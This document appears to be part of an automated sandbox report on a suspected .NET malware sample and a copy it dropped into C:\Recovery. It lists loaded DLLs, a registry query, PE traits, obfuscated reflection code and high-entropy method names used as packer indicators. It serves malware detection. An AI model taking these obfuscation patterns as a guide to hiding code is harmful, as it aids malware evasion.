Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: mmdevapi.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: ksuser.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: avrt.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: audioses.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: midimap.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\6G8OR42xrB.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{289AF617-1CC3-42A6-926C-E6A863F0E3BA}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 6G8OR42xrB.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 6G8OR42xrB.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: 6G8OR42xrB.exe

Static file information: File size 26710528 > 1048576

Source: 6G8OR42xrB.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x302a00

Source: 6G8OR42xrB.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 6G8OR42xrB.exe, QfE85RnYGxcpCNNTEbb.cs

.Net Code: Type.GetTypeFromHandle(smVRvIQf4H1WKo8flUd.PdBLqye18eg(16777424)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(smVRvIQf4H1WKo8flUd.PdBLqye18eg(16777245)),Type.GetTypeFromHandle(smVRvIQf4H1WKo8flUd.PdBLqye18eg(16777259))})

Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Code function: 0_2_00007FFD9B894B9C push ss; retf	0_2_00007FFD9B894B9F
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Code function: 0_2_00007FFD9B8956E0 push E9000000h; iretd	0_2_00007FFD9B8956E5
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Code function: 0_2_00007FFD9B9F22E4 push E8FFFE7Ah; ret	0_2_00007FFD9B9F22E9
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Code function: 0_2_00007FFD9BC86D50 pushad ; ret	0_2_00007FFD9BC86D51
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Code function: 0_2_00007FFD9BC8793D push ebx; retf	0_2_00007FFD9BC8796A
Source: C:\Users\user\Desktop\6G8OR42xrB.exe	Code function: 0_2_00007FFD9BFDC3F1 push ebp; iretd	0_2_00007FFD9BFDC418
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Code function: 6_2_00007FFD9BAA4B9C push ss; retf	6_2_00007FFD9BAA4B9F
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Code function: 6_2_00007FFD9BAA56E0 push E9000000h; iretd	6_2_00007FFD9BAA56E5
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Code function: 6_2_00007FFD9BC022E4 push E8FFFE7Ah; ret	6_2_00007FFD9BC022E9
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Code function: 6_2_00007FFD9BE96D10 push eax; ret	6_2_00007FFD9BE96D11
Source: C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe	Code function: 6_2_00007FFD9C1EB8B5 pushad ; iretd	6_2_00007FFD9C1EB8B7

Source: 6G8OR42xrB.exe, wN69n09xLf7BSS4UAPs.cs	High entropy of concatenated method names: 'Yo9PfByAgX', 'tAZOmiWadmgoWa3YUt99', 'rSVU3PWajXks8bIJykRF', 'HmBh5ZWaoDyw7VnRwUF7', 'piILCLWatpeqmkn8Zufj', 'kt5', 'zBH954Tcc6', 'ReadByte', 'get_CanRead', 'get_CanSeek'
Source: 6G8OR42xrB.exe, u2nPhsALAJlTwYJCwQI.cs	High entropy of concatenated method names: 'hOXAwcsYcy', 'gi9AqCd1Pm', 'Nj5A22tyN5', 'AnHA13g1Oe', 'vSmApaHwhs', 'efeAAQuHVa', 'HOeAXJQRvG', 'mFUA7D70nU', 'MEeAMj7ON5', 'OUoA4sttYx'
Source: 6G8OR42xrB.exe, HDZTda6aoq5laSuMWoS.cs	High entropy of concatenated method names: 'CogJWqWKQrTlq8kNF9E5', 'KutuauWKna6l7h3UHBbO', 'qUWLccWKrb0Nxa3wLEvu', 'G1V6ld6Agk', 'Mh9', 'method_0', 'uwY6ETQLtI', 'xE66NYx5k8', 'ofv6R6HgU7', 'bIZ6n3dpvL'
Source: 6G8OR42xrB.exe, EY35r5eRDosQfC1UIWb.cs	High entropy of concatenated method names: 'w52', 'o38', 'vmethod_0', 'lu0erNl2qV', 'zh6WpOOnnuo', 'sL3qI4Wd66Ov0oXlUnZL', 'cFlZ5OWd9ODIbNGPPQmW', 'K13kWrWdPx7NdqHwhtNc', 'ouEaByWd8tnpicPCJPSF', 'oqwUNKWdZAIoLKlqEFxA'
Source: 6G8OR42xrB.exe, XN2JS4LaKOdVSOQTSY2.cs	High entropy of concatenated method names: 'eMui1vyaEU', 'xfBvwBWyw9mviKrnieEU', 'i2jCspWyq1CKG3tY7DJJ', 'nS19m8Wy2MweADOXRlqI', 'duiKp9Wy1F83MrAH3L11', 'pNBEQCWyLUBOMAyrexfO', 'XOivy3Wyi00qHsQVqLVD', 'rSCBmNWyp132ZlZxOTAr', 'I1Ji3Mlgxp', 'hWciLM47Ed'
Source: 6G8OR42xrB.exe, qkuJmtia4sV4ohltWAu.cs	High entropy of concatenated method names: 'rCcwiGQvTD', 'dRBww3gSnl', 'SHiwqxa83A', 'iwaX7pW04X2C9fKeigIj', 'nILr6eW0f0puGQ4F6JmG', 'D0fT3QW07pkSW8t4Sc3y', 'POsHPIW0MXDG11dxaoVn', 'veew7hg89W', 'RZDcsUW0I8BFXQvSXkhV', 'IwnTjlW0HatDdJ7MMyQP'
Source: 6G8OR42xrB.exe, k7gbvBP8aVoW8NqdP5v.cs	High entropy of concatenated method names: 'Close', 'qL6', 'xb8PJwwKj1', 'mDEPBjiXS6', 'AgXPjamXKd', 'Write', 'get_CanRead', 'get_CanSeek', 'get_CanWrite', 'get_Length'
Source: 6G8OR42xrB.exe, s7ND5WEhulUGlos23WS.cs	High entropy of concatenated method names: 'method_0', 'h59', 'R73', 'HJ2EPyKU4B', 'akjX73WR8OAPwV2hb5WE', 'c3AmEDWRZXwwpv4qBmtS', 'SaaXI4WRJP8TZWAgmRMg', 'dLdMHuWRBljx9hlxKDFv', 'XxfiSvWRjUTk18hcwTTZ', 'NcbFw7WRolK9QTulm8I2'
Source: 6G8OR42xrB.exe, IQTuqJBhxAGMJJViJss.cs	High entropy of concatenated method names: 'kKTBPTdj8w', 'k7AB6RNMax', 'RpRB8Jjv6x', 'owVBZpP5kl', 'I5iBJyeZdg', 'OtZBBm9HkH', 'u1CBj1XYkD', 'QjZBokQ2pL', 'R6gBdIwwL7', 'iCABtBlmSy'
Source: 6G8OR42xrB.exe, Qnd3S7qIV7ZxrjdiY0Y.cs	High entropy of concatenated method names: 'WWPqDFDK3w', 'nNiqFFXs1k', 'h3vqyOtoy6', 'dZtNoPWhkDGpaHyxs0rI', 'Ht3jErWhVLgHeV8qFf0k', 'QlFW4dWhghQfZAIxJGJ5', 'Jk4xM1Wha6L36tt8BO85', 'uspqCE5o0R', 'qW1qcg0Ere', 'eeR37KWhuNNGZPLkquIN'
Source: 6G8OR42xrB.exe, pGVkOvT59wEVS8TSQr6.cs	High entropy of concatenated method names: 'iwnm4wrlFY', 'N93mf7Yaoa', 'EHMleVWjSM96i92eCje4', 'z1bMOVWjdFsFbfYV0rSa', 'kisXNJWjtD2YDCh1K1pN', 'NwecIjWjuj5i7BowtQLP', 'UXvmm1WSUg', 'VXpcZuWjkFvllarc1MYs', 'AscX3uWjVsZM2fmPdm7g', 'y0i6enWjgNRC0RiZ89M8'
Source: 6G8OR42xrB.exe, CHyts2qA2fP36YcsCXd.cs	High entropy of concatenated method names: 'Rpx', 'KZ3', 'imethod_0', 'vmethod_0', 'eMGWpqfTXFC', 'PUbWwW3vdfJ', 'qZ99l2WhUYswr0fXCIr6', 'mjCSkoWhvZBml5qf7fwp', 'BoQwK9WhD3fiRt1NIR78', 'HK9pD2WhF69xBUaTlWjP'
Source: 6G8OR42xrB.exe, zcjWWQDihUdV54GdbvI.cs	High entropy of concatenated method names: 'method_0', 'YU8', 'method_1', 'method_2', 'K6bDqPjoVE', 'Write', 'QpoD2Ioxce', 'c1XD1NoyZR', 'Flush', 'vl7'
Source: 6G8OR42xrB.exe, j6ljAa2cnMQ9dmGaf5M.cs	High entropy of concatenated method names: 'ifX2hmRnne', 'NXKb7rW9upQh0NfIvSC0', 'tQaIi8W9tqYwwMXDaSKS', 'JvJtBUW9SiUsMq68gorQ', 'JTZfmiW9b5PlT87pCNtS', 'E94', 'P9X', 'vmethod_0', 'EOCWwe05XjV', 'TERWpA3oeiF'
Source: 6G8OR42xrB.exe, gt5Lv0cSYjI1hvB44W5.cs	High entropy of concatenated method names: 'a99', 'yzL', 'method_0', 'method_1', 'x77', 'dw4cbrxsHd', 'uTpcVPA8du', 'Dispose', 'D31', 'wNK'
Source: 6G8OR42xrB.exe, LGPmgvmEr97SlJZuXJB.cs	High entropy of concatenated method names: 'm1I', 'G4q', 'w29', 'TUfWp4xks2g', 'S2FWwbY5uOB', 'LfyQ51WoxMTiPVYrf8Ul', 'zNOol8WoGyEkchc3OZQ4', 'YA0yGXWo5SnjpMuYfETC', 'q6CXnxWoC8ZFDpZ16OKR', 'zb2d9fWocHELvbNVEksC'
Source: 6G8OR42xrB.exe, oaiowKqjjFs9u9RCLu8.cs	High entropy of concatenated method names: 'q64', 'P9X', 'YT1WwfDT7eN', 'vmethod_0', 'En1Wp2wyZNU', 'imethod_0', 'f7eBP1WhrepQdq708RZm', 'k8djGTWhQCHi8qymIupw', 'RayFLIWhseyo4YiGHJxm', 'CJJKVyWhzi4LM3BPQy5a'
Source: 6G8OR42xrB.exe, x7wxBXpbgos8NnVnhPZ.cs	High entropy of concatenated method names: 'mE2pRqbu34', 'crN3rsW87yGeKJRLRkEF', 'dkWDKvW8A2rh7fK3TLgs', 'SirjVLW8XnGLlKoSqwh3', 'FjiCtVW8Mq1Jwf0qASUX', 'l755t2W84MKcl3sqPLYO', 'P9X', 'vmethod_0', 'XkfWwDu8mEp', 'imethod_0'
Source: 6G8OR42xrB.exe, dYLXamyohxWMSxmJF7a.cs	High entropy of concatenated method names: 'sksytR3Xtw', 'BM1ySqK6Wn', 'c5MyuqvvVh', 'gvSybw999M', 'TQryVtY5Ys', 'X6kygHmq1U', 'QrlykAilwD', 'CUfyaAxZ4G', 'P1iyKwAlBL', 'lBjyl43uZ0'
Source: 6G8OR42xrB.exe, z1KGVOn3QStKRwZj0NA.cs	High entropy of concatenated method names: 'uHXnwq3NBL', 'k4AnqT42Ai', 'tjMxDXWrtsagLXPPfHvx', 'v07BqJWroo6BFRySlmhc', 'CWwkpxWrdkRkovM5t6nr', 'bRQiYKWrSw9tUQuNftoc', 'WPRfqSWruhIkM8bdlbya', 'duonLFygyu', 'gmbE8uWrJnaIBaFbWmCO', 'MqIOvBWrB7QSqvbvN4Cu'
Source: 6G8OR42xrB.exe, cAmt47BAl3xSZsKS0OK.cs	High entropy of concatenated method names: 'lZeBcKpDn0', 'gtkF4PWEADCv9cPefuP2', 'NvhX6lWE1BaG5dJJvWDj', 'qF7xYUWEpQ6MRJ7GZRd0', 'HO4XfZWEXZL5hIXmNfTh', 'IPy', 'method_0', 'method_1', 'method_2', 'vmethod_0'
Source: 6G8OR42xrB.exe, QfE85RnYGxcpCNNTEbb.cs	High entropy of concatenated method names: 'R8xvW8WQiIGYm18yHIH8', 'x7BsgcWQwiqOefC1cm7g', 'IKIrE1It1T', 'UIsqVlWQpTJD9aiLaaba', 'XhGeXcWQAk3fPMm8huAs', 'w6A5wRWQXGJ6ObmGtLrw', 'dpsPowWQ77kLK0U2GUhk', 'ulaLkbWQMdfrpAQChmmY', 'xeO1ZgWQ4pO2q63yv0h2', 'Kj06BAWQfl8hmjJeMPIm'
Source: 6G8OR42xrB.exe, NqFTSFqKdBjP15gJDHd.cs	High entropy of concatenated method names: 'mT2qrfyBwF', 'YYWqQcVGs3', 'kt9qs03R0t', 'gkLqz8D1x4', 'zRf23WWgIv', 'TT62WU7sGT', 'Hhw2LO15nc', 'ESexjJW9xIJLeb8gLWJW', 'fgsP8sW9GO3MHHErjA2u', 'Xri9g3W9mUgkPJ5UmXS1'
Source: 6G8OR42xrB.exe, E3F5UA1mqplDvRKsvHJ.cs	High entropy of concatenated method names: 'GXj1Focqo6', 'QiBkDeWPgdLVGXUsiYrA', 'Gyqhm9WPkaihjSJwSAI7', 'YxnLF5WPbZmtMi94lksb', 'xhFQGCWPVDAbSQAa4Hrm', 'pRdXRNWPaFES05oXkfIK', 'P1Z1x7XWNA', 'LIa1GhFAK4', 'feO15uDArC', 'ET81Ct6UZQ'
Source: 6G8OR42xrB.exe, i2gMx1UC7XwlLXlf6i4.cs	High entropy of concatenated method names: 'r5LUUkaU2H', 'IKCUvLRQei', 'XimUD5LQe5', 'JUGUFg5Wxx', 'wSJUy2A7GJ', 'DRUHj9WulaYMdjqiEp1i', 'U3cwlaWuanZqgtqqyN0E', 'b7NLQPWuKk8x1mM2mQdP', 'fJSWIQWuEQalBpeA6MUM', 'dKOTJ4WuNSSVghe86vUv'
Source: 6G8OR42xrB.exe, tGtQkZhputLLoiooCvx.cs	High entropy of concatenated method names: 'TwjhXyaQnP', 'XoGh7fh0mU', 'method_0', 'method_1', 'I27', 'c6a', 'C5p', 'LkjhMqUgGo', 'method_2', 'uc7'
Source: 6G8OR42xrB.exe, bCYK2OWsCDRaidI4g9F.cs	High entropy of concatenated method names: 'KZ3', 'fW4', 'imethod_0', 'U7v', 'PTcWpWbcoma', 'PUbWwW3vdfJ', 'XajxhcWFLqW8wmgluAqZ', 'qgT6oxWFiWO3dnsEnsLk', 'bWY4CgWFwiEYRXmCbsD8', 'O6M9gHWFqm95ywaC4Nps'
Source: 6G8OR42xrB.exe, G3bdtHjnWATQvitSuLM.cs	High entropy of concatenated method names: 'XcfjQtZhJW', 'fmWjsH8Qk3', 'WEajzsynur', 'kvfo3t2ufo', 'riPoWNpkbD', 'f96oLZT291', 'hm7oiqoFBW', 'JZgowBagOT', 'uy6oq5qmhv', 'E3bo2vnLgA'
Source: 6G8OR42xrB.exe, W5UkTREJK9MygTqQZDk.cs	High entropy of concatenated method names: 'unmWpvfWpwY', 'NBAW2U3BcQW', 'UgsK0KWn1NPwdnj7FVZX', 'cNHPDpWnqhmfJxlpmSef', 'C3Sm0CWn2k4uakVdfLfW', 'ERJDiqWnpvKPZk3cxJWK', 'qG02CjWnMeOaUONBJ8rl', 'VBWDxDWnXyZyQE6tN58G', 'aRtRuKWn7pA7jA6BaOhq', 'eqG6DKWn4FJvFBfH8BZx'
Source: 6G8OR42xrB.exe, R6ZTwn1hcHFnVeQGS0O.cs	High entropy of concatenated method names: 'p7O1PO0qaQ', 'BtH16Ej7DS', 'uqaER4WPl2d3Hwy5s1sB', 'e4IDZuWPEKgK04Zngm1p', 'R9ugarWPNyN45bMVdt2H', 'mnCQh8WPRWHQxBVcdv1k', 'z7AhUXWPn4VwntEgOfEM', 'RL3fIQWPrayuajkw21A5', 'WFXskXWPQcSTtmaemZpq'
Source: 6G8OR42xrB.exe, w8NUMjqSNWYvJCNOIFr.cs	High entropy of concatenated method names: 'M31qkI6qVV', 'XydKgfW9A8Du8iCdv1J1', 'Pl2uK4W9XBfSepBiGXug', 'JTsf7XW97yOIKScKMwct', 'MV3PHmW9MR3elR9Ym0y3', 'U1J', 'P9X', 'XULWwIvfaJ1', 'nJVWwHOOa6l', 'OigWp1HKjRu'
Source: 6G8OR42xrB.exe, luucvSQOqveWDaM22dC.cs	High entropy of concatenated method names: 'xNcQyFwUhh', 'sTvQ0lhukL', 'F6SQhqX05L', 'bMSQ9Rh49d', 'm6NQP1kEeJ', 'KJWQ6l7qBr', 'mx6Q8WMCty', 'PnfQZUxIn8', 'V3wQJ2RNbU', 'wexQB2FgDr'
Source: 6G8OR42xrB.exe, mqcd3nCXL4hYBEh0eJj.cs	High entropy of concatenated method names: 'A4HCheJhk7', 'KIdCMgph14', 'f62C4xQoyc', 'AWoCfLAvUD', 'ChWCTa2IKk', 'VnFCI3OZ8I', 'hrqCH8NiVQ', 'ijSCYyVA7b', 'oBdCODZnEe', 'X3ICmCJGPs'
Source: 6G8OR42xrB.exe, Lh52GNLqRO90lM1Ohsc.cs	High entropy of concatenated method names: 'MT8L13S9l6', 'Mx2LpInJ0q', 'mhLLAJbC0s', 'QXlLXdLjnV', 'W7ZVCSWFHY2setCDrt67', 'FtIcjXWFTdPOKZX3gP4E', 'x6wom0WFIBmXwxBtIMRG', 'pgQAfBWFYVoxpetGGP3f', 'bxma2BWFO7IpeLOFaKp0', 'xjBbtyWFmxoKahW7QqL1'
Source: 6G8OR42xrB.exe, QB1VWmpHUJoaRWfxG40.cs	High entropy of concatenated method names: 'ffGpehK980', 'NyNO9UW6JeKdv1P9Qc88', 'h7svcyW68o9FVpLesAfO', 'nGmuuNW6ZytwBbdB5WMg', 'L5d2UjW6BjGfuJ8YAbDZ', 'PIipOfdAss', 'ccyocvW60Ckw7fonZWnB', 'jMx4C9W6hoS6tnQw2EZt', 'iRU8kJW6974768UeTO1e', 'nJ24DGW6FlZIQcyDZWsw'
Source: 6G8OR42xrB.exe, RYJW5VFbL8EiSiB6Iqj.cs	High entropy of concatenated method names: 'uKOFgSni8g', 'm4pFkMmhwH', 'FOTFaM4rnL', 'wcIUa0WVJ986mvR4jfJI', 'QFGryVWV8THYOCpaU22m', 'YiwyUGWVZJZ53GDt4wJM', 'lOer55WVBa9mrfAn9MOt', 'qlHAKpWVjwi9MfJc7nHo', 'GIiQvhWVopYUNwV2VICH', 'F9G2MCWVdYHZgGAbJ3sO'
Source: 6G8OR42xrB.exe, FO83wD0sr7M8gAHP9ww.cs	High entropy of concatenated method names: 'FN1h3io2YU', 'ayZhWLrnRk', 'Yd7', 'yUHhLg9NKe', 'yXnhibPXbO', 'qaqhwFXesJ', 'AONhq6Rt3Y', 'f7V2uMWkg4VTNxMvISIg', 'FRp9KuWkbuppfVMRR69Q', 'RRPXQLWkVWnPedKCd2Qv'
Source: 6G8OR42xrB.exe, I9cugHw9xfxd0PjiZ02.cs	High entropy of concatenated method names: 'KZ3', 'imethod_0', 'vmethod_0', 'VlsWpwNGDwx', 'PUbWwW3vdfJ', 'nQNrqhW0tQtNKK9MFoHn', 'ebWWxuW0S95vacQXgRms', 'RFaB4FW0u9LkacwM3nGD', 'SMAg7jW0bXEe9dVewePr', 'sdJZ6FW0VSXg5SB1TYEc'
Source: 6G8OR42xrB.exe, EJBwt8pDv0G2kvvaaim.cs	High entropy of concatenated method names: 'iu6pyD7I9c', 'Ry7p0cxKVo', 'Ttuphm36U4', 'YEdp9eNZva', 'l6ypPopja0', 'dIJp6O2H9i', 'bC7RsvW6EpjOVuviGF3P', 'iDsM7FW6Nuhns3KJxA0W', 'eBMbTbW6RKwJh38vxofh', 'qbOb3oW6ny6jr2VCDb5R'
Source: 6G8OR42xrB.exe, lv29KXjhGC40WEKeDvb.cs	High entropy of concatenated method names: 'urfjPfbl1L', 'srjj6EEEIi', 'TgZj8N8rSd', 'LkmjZPvonX', 'KF0jJX3pMB', 'GQTjBWVUvp', 'K9wjj0oYyD', 'qt4jomRdyN', 'cscjdGkoum', 's66jtvO60C'
Source: 6G8OR42xrB.exe, iN3ptYDd4BiljAssrqq.cs	High entropy of concatenated method names: 'D24DQRuRMn', 'G1mDz0iOMb', 'auIDS5q2hU', 'FtvDuRVel5', 'lcmDbIsYbB', 'gXqDVsOBUM', 'Ew8Dg8wHni', 'jHcDkgBJGX', 'e1VDatQNUV', 'tTSDKndfkq'
Source: 6G8OR42xrB.exe, p9nPSqLhXhJIdhMweYc.cs	High entropy of concatenated method names: 'eYgLdDlYuc', 'hjELtviRTE', 'cyjKWPWFoDPtQ2W3FZrw', 'N2FMhZWFd0CmExusJCFF', 'oIXe46WFtP3nSBJJNgiQ', 'G6SLVqANHn', 'ynXBgPWFVDxw5CffxwZR', 'Nj7dvIWFg0v6dpUGvsRV', 'vkL9nNWFutnaun3AkFVt', 'L6ZPpYWFbBWqEUHJMa7j'
Source: 6G8OR42xrB.exe, sa77d3zK6rXMbB8v63.cs	High entropy of concatenated method names: 'r6YWWbAr0M', 'ifNWioQ4CU', 'iv0WwUWG5Z', 'XafWqQBDmg', 'cOLW2j4IVw', 'PkPW1T763K', 'zxSWABaFb1', 'EIvwYxWDXLue9cEwaLP7', 'yWo2TQWD7LXRlxSCtyOk', 'vA73LIWDMH9YPdICVPax'
Source: 6G8OR42xrB.exe, ws7qHaPamWAJ8HIZcRm.cs	High entropy of concatenated method names: 'sh1PlT4dT0', 'k6r', 'ueK', 'QH3', 'FuAPEcP7vC', 'Flush', 'UEoPNDFhIy', 'qFCPRikcaY', 'Write', 'UkTPnkmATP'
Source: 6G8OR42xrB.exe, CsOAxCQjD805VfxQgCH.cs	High entropy of concatenated method names: 'wUVW29aq388', 'ePLW2PyX2bH', 'ddqW266Uru6', 'jMiW28ZlWGY', 'P3eW2ZUyWbd', 'IGAW2JBarOC', 'sWOW2BWJU82', 'nJwsqcpGWl', 'qkjW2jsf8xo', 'jV2W2oyCOsc'
Source: 6G8OR42xrB.exe, WOPXcWmFdx9jyc7fhlP.cs	High entropy of concatenated method names: 'vQ0mZNkFRk', 'e5CpFTWoLXZ9NVytlMWr', 'TL5rViWoiCDWjMqhKMgZ', 'WUNkpFWowlnfWsS9HP8F', 'tWum0cMA7K', 'D6YmhsvnYm', 'j2Jm9q8cHM', 'e4n4DAWjzilV0H9WIQN5', 'zdjwULWo31RMJlZxqhpo', 'f1DWknWjQObixS0as6g7'
Source: 6G8OR42xrB.exe, r0Vn4s6JDN2wgBN6RHX.cs	High entropy of concatenated method names: 'q13', 'Sw1', 'method_0', 'TRa6jLMuRA', 'YDB6o44kKo', 'YPk6dplbCO', 'Jd06tngkfa', 'K3j6S4mYJf', 'naS6uRyOfZ', 'cnRbvsWKJU7Yb1WfT4w8'
Source: 6G8OR42xrB.exe, DwpVIbACseU7NxfmUbD.cs	High entropy of concatenated method names: 'ICVvgQWJjoBJ8R4s4ZTe', 't4VmRaWJJGEBrnoFq94a', 'SbRoCZWJB05U0tG8An6Q', 'mUywwfWJoGRGpALmwVfF', 'CKdfsfGXYA', 'nww9JoWJtBpLWkqNEZQ6', 'mF4y3GWJSR9yaycPio2t', 'woOIhxWJui7jYiexttfY', 'wK3p5ZWJb1j9iMiphYwb', 'RiuTWX6VZJ'
Source: 6G8OR42xrB.exe, IDPdaeWEbKSHNKkS4QB.cs	High entropy of concatenated method names: 'P9X', 'eNvWRn3BlK', 'k5xWp36HEAp', 'imethod_0', 'AWRWn8I8QA', 'MVZYp8WDQwq3BO1HLRLt', 'h2d8BbWDs4xDxOx7i80Q', 'JFNwFuWDnWohkiRvmIgU', 'Dg3B2cWDrgXM3CwpKtMs', 'HDUeLiWDzV1txYR1Vdqy'
Source: 6G8OR42xrB.exe, fffMuc2dMqSnacQefap.cs	High entropy of concatenated method names: 'bNp2RCNk3H', 'bJu2nb38Zk', 'LaR2r3UiW4', 'cLTRNGWPptKOL8CwaiA0', 'iOvIHYWPARcIEBlTW2Ks', 'AuOT0xWP2RfChFxupDNt', 'vp1KNgWP1Njy9M3A9I1q', 'Y492SjsWDf', 'I8f2uHb0Rk', 'XYt2b8mafB'
Source: 6G8OR42xrB.exe, sdFmMt1WC18WxTeHZ3k.cs	High entropy of concatenated method names: 'tbV1ip5ho8', 'uWn1wfDimN', 'Syj1qKNapx', 'oS7Le7WP4poEJVmesLpf', 'OnV8O9WP7Ddh8mBC0h1l', 'HClHmVWPM7hS0cb3KEXr', 'giY72lWPfsoYMJbvZR3D', 'nf0BKBWPTJ0rClH9UFLc', 'ByAWESWPI6k4bkIag4AZ', 'I8TSCLWPHmabpovyGfJS'
Source: 6G8OR42xrB.exe, cbAhGOxI3lQB4WoQPA3.cs	High entropy of concatenated method names: 'xJArndWtOn39TFRRaBs3', 'lapPnQWtmLkdWnX66Xri', 'wX9IODWtHZfGxCEJ1v88', 'LihbgkWtYdIUOhCqTkkE', 'method_0', 'method_1', 'leQxYsyU4p', 'BUYxOHbjfJ', 'oDpxmqGUtO', 'D1nxeIwOiQ'
Source: 6G8OR42xrB.exe, LHCCsvwUxTU1awoQfP1.cs	High entropy of concatenated method names: 'VZq', 'KZ3', 'XA4', 'imethod_0', 'e23', 'AVLWpiMe50P', 'PUbWwW3vdfJ', 'U62SkHW0PsJB74rHFLFd', 'BRL9VvW06YZgdu7rBAq9', 'kettelW08LyLfwEGT03V'
Source: 6G8OR42xrB.exe, mmL4JemBq8XBRj9Nyh3.cs	High entropy of concatenated method names: 'zvqmbfwtDx', 'mYwmVcHE2B', 'UmDmg5O0PE', 'rCVDhLWoMsry16E8lk52', 'gxqHCkWo4j3Z44a6lYrZ', 'Ybka7GWoXKIuE2yrg8CQ', 'vQHP7AWo70NRgpQ14W4o', 'FdtmokUExI', 'z9YmdNTWG7', 'L1Nmtxv4jc'
Source: 6G8OR42xrB.exe, qfpNiTpGF2NONZoMQKY.cs	High entropy of concatenated method names: 'PKJpC1uWNO', 'QGff0fW6tTv5hpYCnedn', 'Y6i9K8W6Sf0ji7tn8qDb', 'bn0TtsW6u43ch2urxe3o', 'cR4IeeW6bQtEXRGwcOlI', 'BAALybW6owWBHLcCTMYG', 'SnglxjW6dlFCZVvVrJ8E'
